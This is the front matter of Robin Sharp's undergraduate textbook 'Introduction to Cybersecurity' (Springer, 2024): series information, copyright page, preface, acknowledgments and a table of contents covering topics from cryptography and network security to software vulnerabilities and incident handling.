Undergraduate Topics in Computer Science

Robin Sharp

Introduction
to Cybersecurity
A Multidisciplinary Challenge
Undergraduate Topics in Computer Science

Series Editor
Ian Mackie, University of Sussex, Brighton, UK

Advisory Editors
Samson Abramsky , Department of Computer Science, University of Oxford,
Oxford, UK
Chris Hankin , Department of Computing, Imperial College London, London, UK
Mike Hinchey , Lero — The Irish Software Research Centre, University of
Limerick, Limerick, Ireland
Dexter C. Kozen, Department of Computer Science, Cornell University, Ithaca,
NY, USA
Hanne Riis Nielson , Department of Applied Mathematics and Computer Science,
Technical University of Denmark, Kongens Lyngby, Denmark
Steven S. Skiena, Department of Computer Science, Stony Brook University, Stony
Brook, NY, USA
Iain Stewart , Department of Computer Science, Durham University, Durham,
UK
Joseph Migga Kizza, College of Engineering and Computer Science,
University of Tennessee at Chattanooga, Chattanooga, TN, USA
Roy Crole, School of Computing and Mathematics Sciences, University of
Leicester, Leicester, UK
‘Undergraduate Topics in Computer Science’ (UTiCS) delivers high-quality
instructional content for undergraduates studying in all areas of computing and
information science. From core foundational and theoretical material to final-year
topics and applications, UTiCS books take a fresh, concise, and modern approach
and are ideal for self-study or for a one- or two-semester course. The texts are
authored by established experts in their fields, reviewed by an international advisory
board, and contain numerous examples and problems, many of which include fully
worked solutions.
The UTiCS concept centers on high-quality, ideally and generally quite
concise books in softback format. For advanced undergraduate textbooks that are
likely to be longer and more expository, Springer continues to offer the highly
regarded Texts in Computer Science series, to which we refer potential authors.
Robin Sharp

Introduction to Cybersecurity
A Multidisciplinary Challenge
Robin Sharp
Department of Applied Mathematics
and Computer Science (DTU Compute)
Technical University of Denmark
Kongens Lyngby, Denmark

ISSN 1863-7310 ISSN 2197-1781 (electronic)

Undergraduate Topics in Computer Science
ISBN 978-3-031-41462-6 ISBN 978-3-031-41463-3 (eBook)
https://doi.org/10.1007/978-3-031-41463-3

© The Editor(s) (if applicable) and The Author(s), under exclusive license to Springer Nature
Switzerland AG 2024

This work is subject to copyright. All rights are solely and exclusively licensed by the Publisher, whether
the whole or part of the material is concerned, specifically the rights of translation, reprinting, reuse
of illustrations, recitation, broadcasting, reproduction on microfilms or in any other physical way, and
transmission or information storage and retrieval, electronic adaptation, computer software, or by similar
or dissimilar methodology now known or hereafter developed.
The use of general descriptive names, registered names, trademarks, service marks, etc. in this publication
does not imply, even in the absence of a specific statement, that such names are exempt from the relevant
protective laws and regulations and therefore free for general use.
The publisher, the authors, and the editors are safe to assume that the advice and information in this book
are believed to be true and accurate at the date of publication. Neither the publisher nor the authors or
the editors give a warranty, expressed or implied, with respect to the material contained herein or for any
errors or omissions that may have been made. The publisher remains neutral with regard to jurisdictional
claims in published maps and institutional affiliations.

This Springer imprint is published by the registered company Springer Nature Switzerland AG
The registered company address is: Gewerbestrasse 11, 6330 Cham, Switzerland

Paper in this product is recyclable.

Preface

Software
Cr r s
yp u se
to
gr an
ap Hum
hy

ics
e th Ris
nd k
w
a Hardware
La

This book gives an introduction to cybersecurity for people who would like to
know more about the security risks which arise in the modern IT world, where
computers and many other electronic devices communicate with one another through
networks. The detailed requirements for cybersecurity vary from one application area
to another, but in general terms are a matter of achieving some simple aims: that
data must not be read, modified, deleted or made unavailable by persons who are not
allowed to.
Achievment of such aims is a multidisciplinary challenge, as an IT system consists
of both hardware, software and human users, all of which can contribute to the success
or failure of efforts to maintain cybersecurity. In this book we therefore look at the
most common, both technical and non-technical, ways in which cybersecurity may
be threatened, at how you can protect yourself against such threats, and how to deal
with situations where this protection fails.
An important topic in any discussion of cybersecurity is the rules which regulate
behaviour in an Internet based world. A lack of cybersecurity can have dramatic
consequences, both for individuals and for society as a whole. Some activities, such
as terrorism or destruction of IT systems which are vital to society, are so harmful,
that they must be considered as crimes. Others have consequences, such as disclosure
of details of your private life, which are unpleasant but not necessarily illegal. In the
last main chapter of the book we give an overview of some of the most important
laws and regulations with relevance for cybersecurity.
The book is based on material developed for an elementary course on IT security
for a group of students at the Technical University of Denmark (DTU) who were not
IT specialists. It is intended particularly for readers starting on a course of study in
computer science or engineering who require a general introduction to the subject.
It is assumed that readers have a certain knowledge of computers – at least as
computer users. But many aspects of cybersecurity cannot be explained without

v
vi Preface

going somewhat more into detail with technical aspects of IT systems which affect
cybersecurity. The book therefore gives an introduction to what computer systems
consist of, how networks of various types work, and what operating systems do. These
parts of the book are especially intended for readers who do not have a suitable
grounding in IT. Certain of the book’s topics, especially modern cryptography,
require a certain knowledge of mathematics, but not more than you should be able
to get from a school-leaving exam. Interested readers can find some more detailed
explanations of relevant mathematical topics in an appendix.
A problem for all readers, irrespective of their mother tongue, is that the whole
area of cybersecurity is awash with acronyms, most of which are so accepted in
technical circles that it is meaningsless to try to avoid using them. To help the reader,
a short explanation of all the technical acronyms which are used in this book is
provided in an appendix.
The book concludes with a numbered list of references to publicly available
documents related to the topics presented in the main text. (References to these
documents in the main text appear in square brackets – so for example [34] refers to
reference number 34 in the list.)
To get the most out of the book, it is important that the reader doesn’t just read the
text. All the chapters contain exercises which illustrate important aspects of the topic
dealt with in the chapter. There are both theoretical exercises and exercises which
involve you in trying something out in practice on a computer. Here it is best if you
have an experimental attitude to things, and are willing to throw yourself out into
experiments if you do not completely understand what is happening. In this way you
will get a much better understanding of how things hang together – and a smaller
risk of just becoming a “desktop expert” without any useful practical experience.
The author would like to thank his many students and colleagues at DTU Compute
and elsewhere for their helpful comments on various drafts of this book which have
seen the light of day. Without their encouragement and feedback the book would
never have been written.

Lyngby, Robin Sharp

July 2023.
Acknowledgments

Parts of this textbook have previously appeared in the work “What’s Cybersecurity
All About?” (ISBN 978 87 502 0023 9), written by the author and published by
Polyteknisk Forlag, Copenhagen, and are reproduced here with their kind permission.
Chapter 3 contains material which is copyright by Carnegie Mellon University1 and
which is reproduced here under the following conditions:
This textbook has been created by Robin Sharp using, incorporating and/or based on Figure
2 – OCTAVE Phases on page 5 and text from Section 3.1 – OCTAVE Method Processes
on pages 11-12 from the User Guide, “Introduction to the OCTAVE Approach” by Christo-
pher J. Alberts, Audrey J. Dorofee, James F. Stevens and Carol Woody © 2003 Carnegie
Mellon University and Table 7: Graphical Representation of Threat Trees on page 50 of the
Technical Report, “Introducing OCTAVE Allegro: Improving the Information Security Risk
Assessment Process” by Richard A. Caralli, James F. Stevens, Lisa R. Young and William R.
Wilson, CMU/SEI-2007-TR-012, ESC-TR-2007-012 (c) 2007 Carnegie Mellon University,
with special permission from its Software Engineering Institute.
ANY MATERIAL OF CARNEGIE MELLON UNIVERSITY AND/OR ITS SOFTWARE
ENGINEERING INSTITUTE CONTAINED HEREIN IS FURNISHED ON AN "AS-IS"
BASIS. CARNEGIE MELLON UNIVERSITY MAKES NO WARRANTIES OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, AS TO ANY MATTER INCLUDING, BUT
NOT LIMITED TO, WARRANTY OF FITNESS FOR PURPOSE OR MERCHANTABIL-
ITY, EXCLUSIVITY, OR RESULTS OBTAINED FROM USE OF THE MATERIAL.
CARNEGIE MELLON UNIVERSITY DOES NOT MAKE ANY WARRANTY OF ANY
KIND WITH RESPECT TO FREEDOM FROM PATENT, TRADEMARK, OR COPY-
RIGHT INFRINGEMENT.
This textbook has not been reviewed nor is it endorsed by Carnegie Mellon University or its
Software Engineering Institute.

Figure 9.3 comes from my previous colleague Jens Fagertun here at DTU Compute
and is reproduced here with his kind permission.
Figures 1.3, 11.8 and 13.3 are original artworks by Peter Heydenreich and are
reproduced here with his kind permission.

1 ™ Carnegie Mellon, CERT and OCTAVE are registered trademarks of Carnegie Mellon Univer-
sity. SM Operationally Critical Threat, Asset, and Vulnerability Evaluation is a service mark of
Carnegie Mellon University.

vii
Contents

1 Introduction: Why Cybersecurity? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

1.1 Information Security and Cybersecurity . . . . . . . . . . . . . . . . . . . . . . . . 1
1.1.1 The Development of the Internet . . . . . . . . . . . . . . . . . . . . . . . 2
1.2 How Do Computers Work Together? . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2.1 Systems of Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.3 Cyberattacks Today . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.4 Security Targets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.4.1 CIA Targets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
1.4.2 Security Policies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
1.5 Reader’s Guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
1.5.1 A Short Note on Notation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

2 Technique and Human Beings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

2.1 Psychological Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.1.1 Curiosity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.1.2 Helpfulness . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.1.3 Sympathy and Hate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.1.4 Belief in Authority . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.1.5 The Brain’s Two Modes of Operation . . . . . . . . . . . . . . . . . . . 22
2.1.6 Uncertainty in Decision Making . . . . . . . . . . . . . . . . . . . . . . . 23
2.2 Phishing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.3 Humans vs. Machines . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
2.4 Can Psychological Attacks Be Prevented? . . . . . . . . . . . . . . . . . . . . . . . 29
2.4.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
2.4.2 Training . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34

3 Risk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
3.1 What Is Risk? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
3.2 Threats in IT Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40

ix
x Contents

3.3 Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.4 Risk Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
3.5 Systematic Security Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
3.5.1 ISO/IEC 27002 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
3.5.2 OCTAVE® . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
3.6 Risk Management as a PDCA Process . . . . . . . . . . . . . . . . . . . . . . . . . . 53
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55

4 Cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
4.1 Some Central Concepts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
4.1.1 Cryptosystems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
4.1.2 Cryptanalysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
4.2 Symmetric Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
4.2.1 Substitution Ciphers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
4.2.2 Random Permutation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
4.2.3 Polyalphabetic Ciphers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
4.2.4 Vigenère Ciphers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
4.2.5 Transposition Ciphers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
4.3 Modern Ideas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
4.3.1 One-Time Pads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
4.3.2 Confusion and Diffusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
4.3.3 DES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
4.3.4 AES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
4.3.5 Symmetric Stream Ciphers . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
4.4 Asymmetric Cryptosystems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
4.4.1 Trapdoor Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
4.4.2 Modular Arithmetic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
4.4.3 The RSA Cryptosystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
4.5 A Comparison of PKCS and SKCS . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90

5 Applied Cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
5.1 Integrity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
5.1.1 Cryptographic Hash Functions . . . . . . . . . . . . . . . . . . . . . . . . . 96
5.1.2 MAC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
5.2 Electronic Signatures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
5.2.1 Verification of Electronic Signatures . . . . . . . . . . . . . . . . . . . . 102
5.2.2 Electronic Signatures with a PKCS . . . . . . . . . . . . . . . . . . . . . 103
5.2.3 Digital Signature Standard (DSS) . . . . . . . . . . . . . . . . . . . . . . 104
5.2.4 Planning for the Future . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
5.3 Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
5.3.1 Types of Evidence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
5.3.2 Authentication with an SKCS . . . . . . . . . . . . . . . . . . . . . . . . . . 108
5.3.3 Authentication with a PKCS . . . . . . . . . . . . . . . . . . . . . . . . . . . 110
5.4 Key Distribution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
Contents xi

5.4.1 Diffie-Hellman Key Agreement . . . . . . . . . . . . . . . . . . . . . . . 112

5.4.2 More Secure Key Agreements . . . . . . . . . . . . . . . . . . . . . . . . . 113
5.5 Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
5.5.1 How Are Certificates Issued in a PKI? . . . . . . . . . . . . . . . . . . 115
5.5.2 Access to Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
5.6 Trust Models . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
5.6.1 The Hierarchical Trust Model . . . . . . . . . . . . . . . . . . . . . . . . . 117
5.6.2 The Web-of-trust Model . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
5.6.3 The Reputation-based Trust Model . . . . . . . . . . . . . . . . . . . . . 118
5.7 Establishing an Identity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122

6 Communication Networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125

6.1 Basic Network Concepts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125
6.1.1 Layered Architectures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126
6.1.2 Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
6.1.3 Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128
6.2 Communication in the Internet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130
6.2.1 Data Transfer Between Layers . . . . . . . . . . . . . . . . . . . . . . . . . 131
6.2.2 Addressing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
6.2.3 TCP and UDP Ports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135
6.2.4 Functions in TCP and IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
6.2.5 DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139
6.2.6 How Do the Layers Work Together? . . . . . . . . . . . . . . . . . . . . 140
6.3 Technology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 141
6.3.1 Shared Cable-based Media . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143
6.3.2 Wireless Networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144
6.3.3 Mobile Telephones on the Net . . . . . . . . . . . . . . . . . . . . . . . . . 146
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150

7 Network Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153

7.1 Mail Transfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
7.1.1 Mail Relays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156
7.1.2 The Structure of a Mail . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
7.1.3 MIME . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158
7.2 Transfer of Web Pages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169

8 Network Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171

8.1 Protection Based on Cryptographic Methods . . . . . . . . . . . . . . . . . . . . 171
8.1.1 The Application Layer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172
8.1.2 The Transport Layer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
8.1.3 The Internet Layer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
8.1.4 The Link Layer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174
8.1.5 The Physical Layer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175
xii Contents

8.2 Encryption in the Application Layer . . . . . . . . . . . . . . . . . . . . . . . . . . . 175

8.3 Virtual Private Networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
8.3.1 Tunneling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
8.4 Secure Socket Layer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
8.4.1 SSL Protocol Architecture . . . . . . . . . . . . . . . . . . . . . . . . . . . . 183
8.4.2 SSL/TLS Security Parameter Sets . . . . . . . . . . . . . . . . . . . . . . 184
8.4.3 Protocols Secured with SSL/TLS . . . . . . . . . . . . . . . . . . . . . . 185
8.5 Risks in Using Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 187
8.6 Firewalls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189
8.6.1 Types of Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189
8.6.2 Placement of Firewalls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192
8.6.3 Residual Risks Connected with Firewalls . . . . . . . . . . . . . . . . 195
8.6.4 Personal Firewalls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 195
8.7 Intrusion Detection Systems (IDS) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196
8.7.1 Principles of Operation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196
8.7.2 Network IDSs (NIDS) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 198
8.7.3 Host IDSs (HIDS) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 198
8.8 Security in Wireless Networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 199
8.8.1 Original WiFi Security (WEP) . . . . . . . . . . . . . . . . . . . . . . . . . 200
8.8.2 Development of Security in IEEE 802.11 . . . . . . . . . . . . . . . . 201
8.8.3 Security in Bluetooth . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 202
8.9 Security in the Mobile Telephone Network . . . . . . . . . . . . . . . . . . . . . . 204
8.9.1 Security in GSM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 204
8.9.2 Can the A5 Functions Be Broken in Practice? . . . . . . . . . . . . 206
8.9.3 Security in UMTS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207
8.9.4 False BTSs and Surveillance . . . . . . . . . . . . . . . . . . . . . . . . . . 208
8.9.5 Is Your Mobile Device Secure? . . . . . . . . . . . . . . . . . . . . . . . . 209
8.10 Denial of Service (DoS) Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 211
8.10.1 DoS Attacks in the Application Layer . . . . . . . . . . . . . . . . . . . 211
8.10.2 DoS Attacks in the Transport Layer . . . . . . . . . . . . . . . . . . . . . 213
8.10.3 DoS Attacks in the Internet Layer . . . . . . . . . . . . . . . . . . . . . . 214
8.10.4 DoS Attacks in the Link and Physical Layers . . . . . . . . . . . . . 215
8.10.5 Distributed DoS Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216
8.10.6 Permanent DoS Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217
8.10.7 Risks and Countermeasures for DOS Attacks . . . . . . . . . . . . 218
8.11 Security in DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
8.11.1 Countermeasures for Use in DNS . . . . . . . . . . . . . . . . . . . . . . 219
8.12 Security in SMTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
8.12.1 SPF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
8.12.2 DKIM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 222
8.13 Security in SNMP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 224
8.13.1 Risks and Countermeasures in Using SNMP . . . . . . . . . . . . . 225
8.14 Critical Infrastructure Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226
8.15 Evaluation of Network Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 228
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231
Contents xiii

9 Security in Operating Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235

9.1 User Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 236
9.1.1 Biometric Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 237
9.1.2 Passwords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241
9.1.3 Pattern Locks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 246
9.1.4 Trends in User Authentication . . . . . . . . . . . . . . . . . . . . . . . . . 247
9.1.5 Authentication Through the Net . . . . . . . . . . . . . . . . . . . . . . . . 247
9.2 Authorisation, Protection & Rights . . . . . . . . . . . . . . . . . . . . . . . . . . . . 250
9.2.1 Who Decides? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 251
9.2.2 Access Control Matrices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252
9.2.3 Access Control Lists . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252
9.2.4 Directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 253
9.2.5 Capabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 253
9.3 Access Control in File Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 254
9.3.1 Unix-style File Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 255
9.3.2 setuid and setgid . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 257
9.3.3 Windows NT ACLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 258
9.4 Access Control for Other System Components . . . . . . . . . . . . . . . . . . . 259
9.4.1 Access Control in the Memory . . . . . . . . . . . . . . . . . . . . . . . . 260
9.4.2 Access Control for Hardware Units . . . . . . . . . . . . . . . . . . . . . 263
9.4.3 Access Control for the CPU . . . . . . . . . . . . . . . . . . . . . . . . . . . 264
9.4.4 Access Control in Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265
9.4.5 Bypassing Access Control: Rootkits . . . . . . . . . . . . . . . . . . . . 266
9.4.6 The Reference Monitor revisited . . . . . . . . . . . . . . . . . . . . . . . 267
9.5 Encryption in the Operating System . . . . . . . . . . . . . . . . . . . . . . . . . . . . 268
9.6 Job Scheduling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 270
9.7 Updating the Operating System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 271
9.8 Is Your OS Genuine? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 272
9.9 What the OS Cannot Do . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 276

10 Software security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281

10.1 Classes of Security Failure in Software . . . . . . . . . . . . . . . . . . . . . . . . . 281
10.1.1 Buffer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 282
10.1.2 Buffer Overflow Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . 283
10.1.3 Buffer Overread . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 284
10.1.4 Incomplete Mediation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285
10.1.5 Time-of-check to Time-of-use (TOCTTOU) . . . . . . . . . . . . . 285
10.1.6 Detection of Programming Errors . . . . . . . . . . . . . . . . . . . . . . 286
10.2 Malicious Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 289
10.2.1 Virus Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 290
10.2.2 Worm attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 292
10.2.3 Antivirus Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 293
10.3 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 296
10.3.1 Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 298
xiv Contents

10.4 LDAP Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 299

10.4.1 LDAP Searches . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 302
10.5 HTTP-based Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 304
10.5.1 HTTP Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305
10.5.2 HTTP Cookies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 309
10.5.3 SessionIDs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 312
10.5.4 Webforms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 313
10.5.5 Mobile code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 316
10.5.6 Web Server Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . 317
10.6 Targets for Software Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 320
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322

11 Incident Handling and System Availability . . . . . . . . . . . . . . . . . . . . . . . . 325

11.1 Reacting to Security Incidents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325
